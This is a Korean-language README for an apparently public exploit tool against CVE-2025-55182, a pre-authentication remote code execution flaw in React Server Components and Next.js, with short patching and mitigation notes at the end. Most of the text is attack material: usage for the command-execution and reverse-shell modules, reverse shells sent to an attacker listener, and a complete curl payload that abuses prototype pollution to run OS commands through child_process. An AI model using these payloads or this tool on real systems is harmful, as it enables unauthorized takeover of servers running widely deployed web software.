
CVE-2025-55182 — React 서버 컴포넌트(React2Shell)의 인증되지 않은 RCE. CVSS 10.0 익스플로잇 도구로, 승인된 침투 테스트에 사용됩니다.
인증되지 않은 React Server Components RCE (Flight 프로토콜의 안전하지 않은 역직렬화를 통해). 단일 HTTP 요청으로 서버에서 임의 코드를 실행할 수 있습니다. 자격 증명도, 사전 접근 권한도 필요하지 않습니다.
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
CVE-2025-55182 · CVSS 10.0 · 인증되지 않음 · 사전 인증 RCE · 2025년 12월 3일 공개
React 19 (≤ 19.2.0) 및 Server Actions를 사용하는 모든 Next.js 애플리케이션에 영향을 미칩니다. 기본 구성이 취약합니다. 대상 측에서 사용자 지정 코드가 필요하지 않습니다.
영향을 받는 버전
| 패키지 | 취약한 버전 | 수정된 버전 |
|---|---|---|
react-server | 19.0.0 → 19.2.0 | 19.3.0+ |
next | React 19가 패치되지 않은 모든 버전 | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests
Python 3.8+ 필요. 다른 종속성 없음.
python exploit.py <module> -t <target> [options]
Modules:
check 대상 지문 수집 및 취약점 확인
exec 단일 OS 명령어 실행 및 결과 출력
revshell 수신 리스너로 리버스 셸 전송
Options:
-t, --target URL 대상 URL
-c CMD 실행할 명령어 (exec 모듈)
--lhost IP 내 IP (설정하지 않으면 tun0에서 자동 감지)
--lport PORT 리스닝 포트 (기본값: 4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node (기본값: bash)
--proxy URL 프록시 경유 (예: http://127.0.0.1:8080)
--random-agent 각 요청마다 User-Agent 무작위 변경
--timeout N 요청 타임아웃 (기본값: 15)
권장 작업 흐름 — 항상 check부터 시작:
# 1. 대상 취약 여부 확인
python exploit.py check -t http://10.10.11.50
# 2. 명령 실행하여 열거 또는 플래그 획득
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. 대화형 셸이 필요할 때
# (먼저 리스너 시작: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
프록시 지원 및 무작위 User-Agent는 모든 모듈에서 작동:
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
모듈별 도움말: python exploit.py <module> --help
React Server Components는 Flight 프로토콜이라는 내부 스트리밍 형식을 사용하여 통신합니다. 브라우저가 Server Action을 호출하면 Next-Action 헤더와 함께 multipart/form-data POST를 애플리케이션 루트로 전송합니다. 서버는 액션 ID를 확인하기 전에 본문을 react-server 패키지에 전달하여 역직렬화를 수행합니다.
Browser Node.js / Next.js
│ │
│── POST / ────────────────────────>│
│ Next-Action: x │
│ Content-Type: multipart/form-data│
│ Body: poisoned Flight chunk │
│ │
│ react-server │
│ resolveModelToJSON() │ ← 취약
│ │
│<── 307 + X-Action-Redirect ───────│ 여기에 출력
resolveModelToJSON() 내부에서 역직렬화기는 수신된 JSON 청크를 처리합니다. then 속성을 가진 객체를 만나면 이를 Promise로 간주하고 await 합니다. 이는 비동기 Server Components를 위한 의도된 동작입니다. 문제는 thenable이 신뢰할 수 있는 출처에서 왔는지 확인하는 검증이 없다는 점입니다.
공격자는 멀티파트 본문에 가짜 청크를 주입하여 then 속성이 require('child_process').execSync(...)를 가리키도록 합니다. React가 이를 await 하면 OS 명령이 실행됩니다.
Next-Action: x가 작동하는 이유프로덕션에서 Server Actions는 SHA 해시로 식별됩니다. 서버는 이를 처리하기 전에 유효성을 검증해야 합니다. 하지만 Flight 디코더는 이 검증보다 먼저 실행됩니다. 즉, Next-Action 헤더가 있는 모든 POST(완전히 가짜인 x 같은 값도)가 취약한 역직렬화 경로를 트리거합니다. 유효한 액션 ID가 필요하지 않습니다.
주입된 코드는 명령 출력을 캡처하고 조작된 NEXT_REDIRECT 오류를 발생시킵니다.
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
Next.js는 이를 포착하여 X-Action-Redirect 응답 헤더에 digest를 포함한 307 Temporary Redirect로 변환합니다. 명령 출력은 URL 인코딩되어 도착합니다.
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
출력은 X-Action-Redirect 헤더에 있으며, /login?a= 뒤에 URL 인코딩되어 있습니다.
npm install react@latest react-dom@latest next@latest
최소 안전 버전: react-server ≥ 19.3.0 · next ≥ 15.3.6
패치가 즉시 불가능한 경우:
next.config.js에서 experimental: { serverActions: false } 설정Next-Action 헤더 차단NEXT_REDIRECT 또는 __proto__를 포함한 POST 본문 거부공인된 침투 테스트 및 교육 목적으로만 사용하십시오.